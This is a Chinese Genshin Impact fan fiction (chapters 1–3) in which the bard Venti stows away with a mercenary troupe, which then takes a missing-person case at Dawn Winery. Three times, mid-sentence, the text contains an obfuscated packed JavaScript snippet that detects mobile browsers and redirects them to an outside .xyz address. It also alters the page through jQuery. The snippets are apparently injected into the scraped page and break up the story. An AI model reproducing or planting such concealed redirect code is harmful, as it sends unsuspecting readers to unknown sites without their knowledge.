《[原神]吟游诗人能给佣兵团加buff吗》 1. 第1章 “佣金到账了,今晚大家好好庆祝庆祝!” “团长,你真的应该多分我几瓶酒,你是不知道今天在佣兵协会交任务的队伍排得有多长——” “得了吧,排队的明明是米卡,你只负责买酒……好了,快别愣着了,帮我把这箱酒打开!” “凯亚,团长的私房钱要被你花完了吧,你到底买了多少瓶酒,这箱子怎么会这么沉?” “开什么玩笑,我又不爱喝酒,我多买干什么,这不就是普通的……一箱……奇怪这箱子没封上啊……” “这、这是什么!” 飞船仓库里,安柏的一声惊呼,引来了五六个围观的脑袋。 仓库顶上那明晃晃的灯,照得木头箱子里的一切都无所遁形—— 除开本就应该存在的十几个酒瓶,一个身穿绿色衣物的少年,正抱着一个酒瓶,歪歪斜斜地卧倒在木箱中。 正当所有人脸色大变,罗莎莉亚已经伸手去探对方的脉搏时,那个少年舒服地伸了个懒腰,甚至还颇为回味地咂了咂嘴。 众人再定睛一看,这一身酒味,以及散落在箱中的好些个空瓶,无一不昭告着此人的所作所为。 在场的所有人互相看了一眼,最终齐齐看向了法尔伽。 “团长。”罗莎莉亚抱臂站着,脸上没什么表情,“偷酒贼。要报警么?” 法尔伽看了眼箱子里的人,只见那人已经换了个四仰八叉的姿势,眼睛虽然仍是紧闭着,嘴角却可疑地流下一丝口水,再搭上脸上泛起的红晕,完全是彻头彻尾的醉汉,看得人无名火大。 “直接扔出去好了,还用报警这么麻烦。”优菈嫌弃地捂住了自己的鼻子,“过量饮酒可不是绅士的行为。” “这家伙成年没有?”凯亚所有所思,“要是个未成年,事情可就不得了了。” 法尔伽感觉自己的头更痛了。 “现在这个样子,大概率什么也问不出来。”法尔伽下结论道,“等他明天酒醒了,再看看情况吧。” 在西风骑士佣兵团里,团长法尔伽永远是那个一锤定音的人。 他都这么说了,其他人便散了——凯亚帮忙把人从箱子里拽了出来,赶来的芭芭拉在确认此人除了醉酒之外并无异常之后,最后由米卡将人带回了房间。 西风骑士团是蒙德地区第一佣兵团,飞船规模自然也是最高级别,别说多塞一个绿衣服小子,就算再来百来号人,也都能容纳得下。 “西风骑士团?我当然知道啊,蒙德人谁不知道呢?” 丽莎道:“你以为这么说,就显得自己不可疑了么,这位小——” “打住,我早成年了,”绿衣少年一脸严肃,“事关重大,必须提前声明。” 丽莎眯起眼睛,“哦?” “等下,”凯亚搬了个凳子,长腿一跨,倒着坐下了,“你怎么会过来?” 丽莎斜睨了他一眼,“来拿佣兵任务报告啊,不及时整理的话,你们下次就会把它不知道扔到哪个宇宙黑洞里去了哦?” 凯亚像是听到了什么大新闻,满脸惊讶,“你竟然主动过来拿文书?” 丽莎绕了绕自己的发尾,懒得搭理他,明显还是对那个没见过的少年兴趣更大,笑眯眯地问:“别管那些没用的了,你先说说你叫什么名字?” “温迪,”那少年漂亮的眉眼弯起来,形成一个恰到好处的笑容,“我叫温迪。” 他的音色清亮,声音虽然不大,却好像有一阵带着盎然绿意的春风拂过。 “哦,真是个不错的名字呢。我叫丽莎,是西风骑士佣兵团的档案管理员——嗯,所以你昨天到底怎么上的飞船?” “我喝醉了,一觉醒来,就在这里了。所以说,应该是缘分让我来的?”名叫温迪的少年看起来很快乐。 “你不是佣兵吧?”一直站在旁边没有出声的阿贝多抱着手臂,“我刚检索了佣兵协会的联系清单,没有你这号人。” 温迪狡黠一笑,“我不是佣兵,我是吟游诗人哦。” “吟游诗人?”凯亚挑了挑眉,道:“有什么用,打架的时候可以加免伤buff么?” “哎呀,为什么要这么实际呢,”温迪笑眯眯地说,“我唱的故事能治愈人心,带来幸福和快乐,这还不够么?” 凯亚耸耸肩,“不是我想实际,你说的这些幸福快乐能抵你昨晚喝掉的那些酒钱么……” 温迪笑容满面地移开了视线。 阿贝多说:“说实话,我们只是佣兵团,没有查人的权利和义务,你的酒也醒了,可以下飞船了。” “嗯?!我们现在不在宇宙里?”温迪脸上一副没能生米煮成熟饭的遗憾。 “不在,”阿贝多回答得很冷静,“上期任务出了一个多月,现在属于佣兵团的休整期,在地面。” “好吧。”温迪撇了下嘴,“那……你们这还招人吗?” “你要干嘛?”凯亚眨了下眼睛,“每天在饭点给我们唱歌以抵酒钱吗?” “事情就是这样,这人赖着不肯走了。” 法尔伽听到了凯亚和琴的对话,他从办公桌后抬起头来,神情有点茫然,“啊?” 凯亚转过脸来,说:“就是你听到的那样。怎么样,要哥几个把他撵下去么?” 法尔伽想了一下,说:“他有说为什么一定要留下来么?” 凯亚笑了一下,说:“这家伙说我们是蒙德第一大团,待遇好,有酒喝。” 琴没有笑,对着法尔伽说:“这个人的身份还没有查清楚。” “我知道,”法尔伽无奈道:“哪能这么容易就让他留在西风骑士团,辛辛苦苦训练至今还是见习骑士的诺艾尔第一个不答应——” “那倒不好说,毕竟对方也不是要当佣兵,”凯亚一副看好戏的神情,“正式出任务的时候不带着,留在后方不就行了。” 法尔伽朝着他一瞪眼,“那你招聘他当你的副手。” “别了,”凯亚立刻道:“我自己都是副手,还能副手的副手吗——团长倒是可以设置个助理不是嘛——” 在被法尔伽追上来打之前,凯亚已经从团长办公室开溜了。 琴已经很习惯西风骑士团内部打打闹闹的氛围,此刻也是见怪不怪,她看向法尔伽,脸色沉静,说:“新的任务已经接了?” “嗯,”法尔伽说:“评估过了,值得去。” “任务本身倒没什么,”琴若有所思,“就是凯亚……” 法尔伽微微一笑,目光追着凯亚离开的身影向远处而去,“不用担心他。” 琴又问:“那个叫温迪的……你准备怎么办?” 法尔伽略一皱眉,放下手中的笔,站了起来,“我去见见他。” 法尔伽转过长长的白色走廊,正准备敲门,就听到了屋内传来了一阵清越的声音。 那声音明显来自某种弦乐器,轻盈悠扬,婉转灵动,带着扑面而来的活泼生气,美妙的琴音跃动在厚重的门板后,恍若来自梦境。 法尔伽愣了愣,不由自主地止住了动作,在门外站住了。 但那演奏并未持续多久,仿佛是感应到他站在外面似的,琴音停住了。 法尔伽这才敲了敲门。 “请进。”他听见一个不逊色于那阵琴音的好听的嗓音,正不疾不徐地对着他这个方向说道。 虹膜认证成功,“滴——”的一声,法尔伽推门而入。 昨天在奇怪场景之下匆匆一瞥,此刻却好像第一次见面似的。 “你好,我叫温迪。”绿衣少年原本坐在书桌旁,法尔伽进来后,他很礼貌地起身并微微欠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15966401|177742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身,那副模样颇有些中世纪宫廷做派,和昨晚在酒箱里睡得毫无形象的人简直扯不上任何关系。 法尔伽已经在凯亚口中得知他的名字了,此刻只是略一点头,道:“你好,我是法尔伽。” “我知道,你是西风骑士团的现任大团长。”温迪抬起头来,和法尔伽对视着,继而微微笑了起来。 他的眼睛是幽深的碧绿色,像是从无尽的草原上吹来的色彩;但若是看的时间长了,又似乎要被其中漾开的深色吸引并坠入其中。 法尔伽莫名一惊,赶紧将视线挪开了。接着,他用公事公办的口吻道:“听我们的团员说,你似乎想留在西风骑士团?” 温迪的表情更高兴了点,他放下了手中的里拉琴,说:“是呀。” 法尔伽温和一笑,说:“我们团是佣兵A级团哦。” 温迪道:“嗯嗯。” 法尔伽继续说:“团员的能力都很强的。” 温迪也跟着继续:“嗯嗯。” 法尔伽说:“接的都是A级任务,很危险的噢。” 温迪毫不犹豫地还是“嗯嗯”。 法尔伽的笑容开始变得有些无奈,“你现在连见习佣兵都不是吧。” 温迪眨巴了两下大眼睛,似乎不明白这有什么好介意的,嘴上说道:“是呀,但你们团也不仅仅只需要负责冲锋的佣兵吧。” 法尔伽点点头,“你说的没错,大家各司其职,制定方案、物资供给、路线探索、后方接应、治疗收尾,都有专门的人员负责。” 温迪赞许道:“合理。团长,你不用担心,我很合群的,你不管把我安排去做什么,我都能马上和大家打成一片。” 哭笑不得的法尔伽只得将脸上的表情收得更严肃了一点,“不是这个问题。” 温迪扬起脸,满脸无辜,就那么直直看着法尔伽,发出疑惑的声音:“嗯?” 久经战场的西风骑士团大团长法尔伽,一瞬间,在那个不谙世事的表情中败下阵来——他怎么也说不出拒绝的话了。 作为掩饰,他挠了下后脑勺,最后只说:“那……那你先……见习一段时间,如果不合适的话——” 温迪笑了。 “啊?!”凯亚瞪大了眼睛,“我以为你是去拒绝他的呢!” 法尔伽面朝下趴在办公桌上,声音闷闷的,带着一点不为人知的挫败感,“呃,反正已经这样了……” “啧啧。”凯亚围着他转了两圈,似乎想通过他那露出来的后脑勺看清楚这人脑子里到底在想什么,“你这双标团长,万一被诺艾尔知道了……” 法尔伽猛地抬起头来,“我不会隐瞒的!诺艾尔那里,我会去解释。” “啊,没关系的,没事的团长大人,”凯亚戏精上身,突然开始捏着嗓子说话,“我自觉自己尚且没有成为正式骑士团成员的能力,就让我再见习一段时间,我真的没关系,至于那位、那位温迪大人,一定是有过人之处让团长大人信赖有加——” “凯亚!”法尔伽蹬着凯亚,满脸疲惫,“我叫你来是有别的事……” “干嘛?”凯亚停止了继续模仿诺艾尔的行为,“你不会想让我去带那个可疑的吟游诗人吧?我可不会当人的师父……我看阿贝多不错,你看他当砂糖的老师是不是挺靠谱的?” “凯亚。”法尔伽认真叫他,“我们接了一个A级任务,地点是维琴察区。” 听到这个地名,凯亚愣了一下。 “我知道你在想什么,”法尔伽说:“你肯定想,维琴察区这么大的地方,也不见得就这么巧吧?” “但我必须提前告诉你,这次A级任务的发布者,就是维琴察区晨曦酒庄的主人,迪卢克·莱艮芬德。” 听到这个名字,凯亚的神情肉眼可见地从侥幸变成了黯淡。 2. 第2章 “任务我已经推送给全团人员了,你可以在佣兵手册上查看。”法尔伽敲了敲面前的一块光板,“要是有什么问题,你再随时和我沟通?” 凯亚脸上苦涩的表情一闪而逝,很快又变成了他平日里那副轻松的模样,“我能有什么问题,放心吧,我会和往常一样,好好研究任务信息,提前做好准备的。” “那就好。”法尔伽端着咖啡杯,经过凯亚身边时,拍了拍他的肩膀。 凯亚没再说话,沉默着出去了。 “让我看看,这次任务是要去哪儿?” 西风骑士团的飞船标准间是两人一间,自醉酒那天被米卡搀回房,温迪就自然而然地住在了另一边空着的床铺上。 此刻,他挤在米卡身边,凑过去看他手中的佣兵手册。 “这样啊……”温迪看东西速度很快,米卡还在那一行行读着,他已经收回了脑袋,若有所思道:“所以这次,要去追踪不明原因的失踪案哦?” 米卡眼睛还盯在手册上,点了点头。 “这种事不应该找当地的警察吗?”温迪道:“不过佣兵用起来确实方便快捷——” “唔,毕竟……佣兵团工作范围广,七大区域的很多佣兵团互相有联系,找人的优势是客观的……虽说我们团主要是在蒙德地区工作,不过大团长认识很多很多的人……” 温迪笑道:“哦,他这么厉害的?” 米卡拼命点头:“当然,大团长还受到过巴巴托斯大人的表彰呢!” 温迪没忍住,直接笑出了声音:“你是说那位巴巴托斯大人?” 米卡的脸有点红,他小声说:“真的,所有蒙德地区A级团长,都是风神大人赐封的呢。” 温迪弯起眼睛:“就是走个过场吧,毕竟A级团长是佣兵团积分达到一定程度就可以升级的,和巴巴托斯怎么想也没什么关系。” 米卡像是听到了什么不得了的言论,他咽了下口水,有点结巴地“啊?”了一声。 温迪一笑,见床边素白花瓶里的塞西莉亚花歪向了一边,他起身走过去,将花耐心地梳理又分布好。 米卡被他的动作吸引,看了看他的帽檐,说:“你很喜欢塞西莉亚花?” 温迪回眸一笑,“这么美丽的花朵,谁会不喜欢呢?” “是的,我没见过不喜欢塞西莉亚花的蒙德人。”米卡浅浅一笑,“这么想来,虽然宇宙很大,蕴藏着无限的可能,可我还是最最喜欢蒙德。” 像是回应他这句话似的,不可能起风的纯白房间里,那几支塞西莉亚花轻轻晃动着,散发出清幽淡雅的香气,几滴晶莹剔透的水珠垂坠在形状优美的花瓣边缘,折射出一点明亮的光晕。 米卡看得有点呆了。 温迪微微勾起唇角,抱着不离手的里拉琴,坐到自己的床头,轻声开始哼一首古老的歌谣。 得益于飞船跃迁技术的不断发展,跨区域的航行时间已经压缩到了极限。第二天早晨在食堂吃早餐时,温迪已经被告知飞船到达维琴察区上空了。 “这么快?”温迪嘴巴里叼着个吐司,又小声问:“早餐真的不提供酒么?” “就算是爱喝酒的大团长,也不会一起床就找酒喝!”芭芭拉不悦地说着,显然对这种行为非常不认可。 “好吧。”温迪有些失望,一手撑着脑袋,无聊得将吐司一点点往下嚼,那动作像极了一个小仓鼠。 嚼得只剩个边的时候,他眼睛一亮,迅速起身,从米卡的侧边挤了出去。 正在叉子上的煎蛋被这股力气撞得掉回餐盘上,米卡愣愣地望着温迪一溜烟跑开的背影,看着他径直坐到了刚端着餐盘落座的法尔伽对面。 法尔伽一抬头,看见了温迪,大约是还没习惯在飞船上见着这人,他先是愣了一下,才一笑,“早啊。” “早呀,大团长。”温迪笑眯眯地望着他。 温迪脸上的笑容实在太超出一个打招呼需要的限度,连平时大大咧咧惯了的法尔伽都无法忽视,脑袋上渐渐冒出了一个问号。 “那个……”温迪见对方已经跟着情绪进来了,便往前凑了凑,压低了声音,“我刚听说……” 法尔伽立刻坐直了身体,眼神一扫晨起还残留的迷茫慵懒。 “大团长也喜欢喝酒啊。” 温迪说完,往后拉开了一点距离,眼里汪着笑意,毫无掩饰地和法尔伽直直对视着。 法尔伽原地疯狂眨巴了好几下眼睛,每眨一下,他脑子里都在冒着咕嘟咕嘟的想法,比如: 啊?谁告诉他的!怎么一来就告诉新人这个! 喝酒只是个人爱好啊,况且我从来不在工作时间喝酒,绝对不会影响我的靠谱程度! 刚刚他是不是说了个“也”,难道是同道中人—— 种种思绪翻滚着,法尔伽喉结微微滚动了一下,最后他尴尬一笑,不置可否地咳了一声。 “这个嘛……”法尔伽好似突然对盘子里的松饼产生了极大的兴趣,他一叉子下去,迅速塞进了嘴里,边嚼边转移话题:“嗯,好吃。” “这次我们要去的是晨曦酒庄哦?”温迪眯着眼睛,“我也好久都——呃,久闻盛名了。” 法尔伽来了精神,声音也扬了起来,“那可是好地方,晨曦酒庄的酒,绝对称得上蒙德的宝藏……” 笑容像一朵花般绽放在温迪的脸上,程度随着法尔伽的描述越来越深—— “不过,”法尔伽清了清嗓子,“得先完成任务。” “好吧。”温迪嘟囔了一句,随即又道:“我相信以法尔伽你的实力,快速拿下个A级任务是轻而易举的吧。” 被猛然戴了个高帽,法尔伽有点不自在地移开了视线,也就没去关注温迪对他的称呼,似乎有那么一点点的违和。 晨曦酒庄占地面积广阔,整个建筑古朴低调,周围大片的绿地上种植着各品种的葡萄,法尔伽、琴和阿贝多作为先行沟通和收集情报的小分队,连简单呼吸一口都能感受到一丝空气中弥漫的醇厚清甜。 自我介绍之后,训练有素的女仆很快将西风骑士团的三人领进了屋。 “晨曦酒庄欢迎你们的到来,我是管家埃泽,”有着一头银色头发的中年人从屋内迎来,礼貌地开口,“关于先前发布的任务,有任何需要了解的具体情况,请都直接与我沟通。” “发布的任务里写得不是特别明确,”法尔伽和管家握手后,立刻进入了正题,“我们只知道这次是要寻找失踪人员。” 埃泽向前方一抬手臂,“各位远道而来,我们坐下说吧。” 法尔伽知道这不是一两句话就能结束的事情,故而也没有推脱,坐在了会客厅的沙发上。 埃泽的脸色有点黯淡,但他明显还是打起精神,开始说话:“是这样的。” “我们有一位几十年一起工作的老伙计,名叫特纳。大约两个月前,他和老爷——就是晨曦酒庄的所有者,迪卢克·莱艮芬德——提出辞职申请,说他年纪大了,做不动活了,儿子也提出来接他一起住,所以打算离开。” “迪卢克老爷当然同意了老特纳的请求,还额外多给了他一笔费用,感谢他这么多年为晨曦酒庄的工作。老特纳欢欢喜喜地走了。” “这本来是一件皆大欢喜的事情,直到——” 法尔伽警觉地眯起眼睛,知道接下来就是重点。 这时,一位端着托盘的女仆轻手轻脚地走上前来,埃泽示意她将三杯茶依次放在三人面前,并颔首致歉,“本应该准备美酒款待各位——” “无妨,工作要紧。”法尔伽轻声道:“你们发现他人不见了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15966402|177742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “对。”埃泽声音有些沉重,“每年风花节老爷都会给员工发纪念工作勋章,老特纳工作了整整40年,但他离开前今年的勋章还没制作完成,于是我们打算在风花节时将这个特别勋章送给他,即便他不回来,我们也可以寄给他。” “本来以为只是一个小惊喜,可我们却怎么都联系不上老特纳。甚至原先他提过儿子的住处,那个地方虽然有点远,但也还在蒙德,我亲自跑了一趟,可邻居说,那个房子早就转卖了,近一年都无人入住。” “我们这才发现不对,便立刻和老爷汇报了。迪卢克老爷很重视这件事,请我们的经销商在各个地方寻找,但仍一无所获。” “你们报警了吗?”琴冷静地发问。 “报过警了。”埃泽的表情有些苦涩,“可警察说没有问题,他们只是搬家了。” 一直在听的阿贝多开口道:“所以警察联系上了特纳的儿子。” “对。”埃泽说:“但是出于隐私保护,警察不向我们透露他的个人信息,可我们始终觉得不放心。” “唔,所以你们想通过佣兵找人?”琴拿出本子,“关于特纳先生的儿子,您这边有多少信息?” “老特纳唯一的儿子叫盖伊,是一名佣兵。” 埃泽这句话说完,法尔伽、琴和阿贝多互相看了一眼。 难怪要他们佣兵团来找人。 “原来如此。”阿贝多迅速掏出了佣兵手册,“盖伊……有姓吗?” 埃泽立刻补充道:“法末克,盖伊·法末克。” “好的。”阿贝多敲击着佣兵手册的虚拟光屏,“佣兵协会里叫这个名字的一共有31个,出身蒙德的……有6个。” “有照片吗?”埃泽转过方向,想凑过来看。 “没有。”阿贝多点了点屏幕,说:“佣兵协会共享注册佣兵名单主要是方便合作任务,相关信息有限,应该也有防止打击报复的原因在。” “顺便一问,”法尔伽开口道:“虽然我理解老朋友消失不见的心情,但仅仅只是联络不上,这任务等级一般也不会发布为A级吧。” 埃泽苦笑一声,说:“这是我们老爷定的,他的意思是更高的等级、更高的酬劳,可以吸引到更优质的佣兵。” “行吧,看出来你们酒庄不差钱了,”法尔伽喝光了杯子里最后一点茶,他站了起来,“那我们先行调查,如果有任何想起来的要补充的内容,无论多小都可以随时联络我们,有进展的话,我们也会及时告知的。” 埃泽也已经起身,说:“万分感谢。” 管家将三人送到门口,几人正从木质扶梯上往下走,法尔伽不经意地一瞥,看见了不远处葡萄藤里一个起起落落的身影。 他没有停下脚步,只是疑惑地又看了一眼。 那朵纯白色的塞西莉亚花怎么看怎么眼熟—— “hi,你们出来了!” 还没等法尔伽开口,那个快乐的声音就响了起来,随后,对方就这么直直跑了过来——那脚步太轻盈了,一瞬间法尔伽还以为那人就这么飞起来了。 “这里环境这不错,有好多风晶蝶呢!” 一边说着,绿衣少年小心翼翼地将手展开一个角度,能看到里面在阳光下熠熠生辉的透明晶蝶。 也许是天气热了的缘故,法尔伽同时注意到了少年额头上一闪而逝的一颗晶莹汗珠。 简直和晶蝶一样,折射着五光十色,引得人想要进一步探索。 法尔伽微微张开嘴巴,一时有些怔住了。 好在这时,埃泽带着笑意开口了,“您说的对,我们所有的葡萄园都是无公害的天然种植区,这样才能保证酒的最佳口感。” 被这话拽回了正常神智,法尔伽轻咳了一声,看向温迪,说:“你怎么跟来了?” 3. 第3章 温迪唇角微扬,状似不经意地向斜后方瞥了一眼,“陪凯亚来的。” 还没等其他人作出任何反应,埃泽先一步提高了声音,“您说什么,是凯亚少爷吗?” 因为情绪激动,他的嗓音甚至变得又尖又细。 话音未落,在场的几人便纷纷注意到了先前温迪看过的那个方向,从葡萄藤架子下闪过的青年人影。 在众人的视线中,那个身影慢吞吞地走了出来,他边走边挠头,脸上的神情有点尴尬:“那什么……都在啊。” 埃泽迅速迎了上去,他不住上下打量确认着,声音有点发颤地说:“是、是的,真的是凯亚少爷!” “凯——亚——少——爷——”看热闹不嫌事大的温迪一字一顿地重复了一遍,表情很是揶揄。 眼见确实无法糊弄过去,凯亚只得又往前走了几步,尽量作出轻松的表情,对着埃泽道:“埃泽管家,好久不见了。” 埃泽望着他,急忙道:“凯亚少爷,这几年您突然离开,究竟是去哪里了?我们都很担心您!我还和迪卢克老爷建议,如果佣兵团真的能帮我们找人,要不要也找下您的下落……谢天谢地,感谢风神的庇佑,您终于回来了!” 温迪微不可见地一挑眉毛,观察起在场几人的神情。凯亚脸上是近乡情怯的无所适从,法尔伽和琴则是淡定地看戏,那模样肯定是一早就知道凯亚和晨曦酒庄的关系;阿贝多看起来并不知情,但他不在意别人的私事,此刻正托腮认真思考着什么。 “我想说这个很久了,埃泽,”凯亚无奈道:“你一定要叫迪卢克老爷而叫我少爷吗,你还不如直接叫我名字——” “直接叫名字,那怎么行!”埃泽像是听到了什么不得了的话,“您就是少爷啊……” 看着表情扭曲又无法发作的凯亚,法尔伽微微侧过脸去,以此隐藏脸上越来越控制不住的憋笑。 “看我高兴的,都给忘了,我立刻去联系老爷,和他说您回来了!”埃泽原地转了两圈,这才想起门在什么方向,急匆匆向前快步走去。 “别告诉他!”凯亚急道,“埃泽,你回来!” 埃泽被这么一嗓子一吼,在原地愣住了脚步,他有点不安地转过头来,猛然想起不妥,又小步跑回来,对着法尔伽几个人点头致歉道:“抱歉抱歉,忘记贵客还在场……” 法尔伽彬彬有礼道:“没事的,我们这就走了。” 埃泽欠了欠身,转过头对着凯亚说:“凯亚少爷,您和迪卢克老爷……” 凯亚看起来想一把捂住他的嘴,但他在同事面前还是尽量忍住了冲动,退而求其次地低声说:“我是来工作的,马上也要走,不要惊动其他人了。” 埃泽惊讶地看着凯亚,又扫了其他几人的神色,恍然大悟道:“凯亚少爷……您现在是佣兵!” 凯亚诧异了一下,大概没想到对方能这么快地推理出自己和其他人的关系。就在他犹豫是不是直接承认的当口,埃泽又道:“怎么会去做这么危险的职业,我的天呐!” 做这么危险职业的在场其他人:…… 凯亚用拳抵住下巴,转移话题似的轻咳了一声,“这是份正经工作,埃泽。” 埃泽马上意识到自己的表现有些失礼,尴尬道:“是的,没错,我们也正要寻求佣兵团的帮助……” “总之,不用特别和迪卢克说了,你知道,适当的时候我会——” “不用和我说什么?” 正当众人的焦点都集中在埃泽和凯亚身上时,另一个方向却突然传来一道声音。 那声音既清亮又低沉,像是最上等的美酒,醇厚与清冽的配比恰到好处。法尔伽是第一个回头的,看清来人之后,脸上完全是一副目不忍视的表情。 一旁的温迪摊了摊手,用嘴型做了一个“啊哦”。 琴转过身,见着那个有着火红发色的青年,下意识道:“迪卢克?” 埃泽则激动道:“迪卢克老爷,您回来的真是时候,凯亚少爷他——” 所有人中,只有凯亚还保持着那个没有回头的姿态。 红发青年不卑不亢地对为首的法尔伽伸出手,“这次关于特纳先生的委托,还要麻烦各位了。” 法尔伽微微一笑,“受人之托,忠人之事。” 温迪眨巴了两下眼睛,注意到迪卢克没有自我介绍,那这些人应该在此之前都是互相认识的。 “我想,埃泽应该已经把我们知道的信息都告知了。”迪卢克的目光没有在凯亚身上做片刻的停留,而是非常正常地和法尔伽对视着,“剩下的……我能承诺的就是,若是事情有一个好结果,各位可以任意挑选一瓶晨曦酒庄的酒作为回报。” 法尔伽和温迪的眼睛同时亮了。 迪卢克却只是礼貌一笑,在埃泽忧心忡忡的视线中,径直走上了木质台阶,没有再回头。 几人回去路上微妙的沉默是温迪打破的。 “凯亚,你看起来不是很高兴嘛。”温迪熟络地靠近凯亚,像是关心老友那样说道。 凯亚整个人已经没有那么僵硬了,离晨曦酒庄越远,他越重新成为原来的那个凯亚,他无奈笑了一笑,说:“哪有?” “哦?”温迪笑眯眯地盯着他。 不知道为什么,被温迪这么看着的时候,凯亚莫名生出一股没来由的心慌。 “那……”温迪语调一转,“看在我陪你出来看风景的份上,刚才迪卢克答应给的报酬,你的那份就归我了?” 凯亚一点也没想到对方在这等着他,夸张道:“什么?” “就是酒啊。”温迪仰起头,那脸上的表情几乎可以说是纯良了。 七神在上,这宇宙里大概找不到能拒绝得了这个表情的人吧。凯亚在心里暗叹一声,表面上还要装上一装,他故作为难地看向法尔伽的方向,说:“可我本来是要给大团长的哎。” 温迪那副惹人怜爱的神情作为杀伤性武器,迅速掉转方向,对上了法尔伽。 法尔伽:…… “咳咳。”法尔伽被凯亚这声“大团长”叫得些许回神了,他看了一眼其他人,正色道:“报酬的分配,是要看任务过程中各人表现的。” “这样啊。”温迪笑笑,认真道:“我会努力的。” 这时,一直没说话的阿贝多开口了,“根据目前的已有信息,关键在于特纳先生的儿子。” 琴点了点头,说:“没错。既然警察给出了那样的结论,说明至少特纳先生的儿子——也就是盖伊,并没有失联。我建议我们可以兵分两路,分几个人追查盖伊的住处,另外的人去本地佣兵协会问问,或许能找到相关线索。” 法尔伽点头同意,“可以。” “那我和大团长一起行动。”温迪第一个出声了,脸上狡黠一笑,“我还不太懂嘛。” “我和阿贝多去佣兵协会蒙德分会,申请正式的佣兵协助,希望能获得关于盖伊更多的信息吧。”琴说完,又看了眼凯亚,“凯亚你……” “我和大团长一起。”凯亚叹了一口气,语气略有些自嘲,“总不能让非正式成员抢了我们的风头吧。” 非正式成员温迪弯了下嘴角,丝毫没有被冒犯到地开心说:“好耶,那让我们赶紧出发吧!” 法尔伽、凯亚和温迪三人很快就到了管家埃泽去过的盖伊的住所。 根据埃泽的说法,他之前来的时候,邻居表示这房子早已被转卖,也就是说,上次他并没有和现在的屋主直接对话。 抱着试试看的态度,一行人敲了敲那间公寓的门。 出乎意料的是,很快就有人来应门了。 门被浅浅打开一道缝,一双满是狐疑的眼睛在门后打量着他们,并出声道:“你们是谁,有什么事?” 主动冲上去敲门的温迪丝毫不怵,他马上在脸上挂上一个可以称得上春风和煦的笑容,用他那轻快的嗓音道:“你好呀~我们是蒙德酒业协会的志愿者,请问你对于品酒是否有兴趣呢?” 门缝立刻缩得更小了一点。 眼见里面的人马上就要拒绝沟通,法尔伽立刻上前把开口就胡说八道的温迪给拽到自己身后,沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15966403|177742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稳地开了口:“不好意思,这位先生,我们是佣兵,来找你了解点情况。” “什么佣兵,什么情况,你们找我干什么!”里面那人明显有些暴躁。 “卖给你房子的人,是叫盖伊·法末克是吧?他出了点事。”法尔伽迅速补上一句。 里面的男人明显怔了一下,过了几秒才缓缓道:“他出事,又和我有什么关系?” 这时,一直离门最远的凯亚走上前来,淡淡地开口:“和你有没有关系,就要看你能不能证明你和他没有关系了。” 这句赤裸裸的威胁让门后的男人噎住了,片刻之后,他恼羞成怒道:“你们又不是警察,我凭什么向你们证明!” 凯亚还是那个始终轻描淡写,但带着笑意的语气道:“你也知道我们不是警察,是佣兵啊。我们还能站在这里和你讲道理,而不是一脚把门踹开,再把你按在地上询问,是我们团长今天心情好,不想动粗的缘故。你猜,你再这样油盐不进,他会不会心情就变坏了一点点呢?” 温迪不动声色地在心里给凯亚鼓掌。 法尔伽看起来很想扶额,欲言又止地,想解释下佣兵并不都是法外狂徒,然而就在这短短的一分钟内,屋内的男人已经通过对法尔伽体格的评判确认自己绝对惹不起这行人,于是便充满着不满,又无可奈何地把门打开了。 “盖伊·法末克一年半之前就把房子转手给我了,”那男人的语气和表情一样僵硬,“钱货两清,你们还要我说什么?” 法尔伽礼貌道:“你是怎么认识的盖伊?” 男人立刻道:“谁认识那家伙!是房屋中介找的我,说有个房子急着脱手,比市价便宜不少,如果能在两周之内完成交易,还能再降价,问我有没有兴趣,我这才——” 法尔伽和凯亚互相看了一眼,交换了一个眼神。 “所以你最后是在两周内完成的交易吗?”法尔伽问。 那男人说了不少话,此刻神态也放松了一点,点头道:“我自己来调查过了,这房子并不是凶宅,也没出过别的什么事,单纯就是房东急着出售,所以我就买了。” “那你有没有见过盖伊?”法尔伽又问。 “没有。”那男人笃定道:“都是中介公司在和我对接,听说他人不在蒙德,全权委托给中介处理的。” “好的,感谢你的告知。”法尔伽很绅士地欠了欠身。 门嘭地一声关上了。 温迪耸了下肩膀,问:“再问问邻居?” 说话间,他已经沿着走廊走向另一个方向,开始挨个敲门。 正值工作日的白天,温迪这么一排敲过去,只有一位穿着碎花围裙的中年女人开了门。没说多久,那个人也关上了门,温迪悻悻转而走向法尔伽和凯亚。 没等法尔伽开口询问,温迪直接道:“邻居说没怎么见过以前住在这里的盖伊,猜测他应该是什么经常要出差的工作,再多的,她也说不出来了。” 凯亚补充道:“连不用出门工作的家庭主妇都没怎么见过他,想必不用再问其他邻居了。” 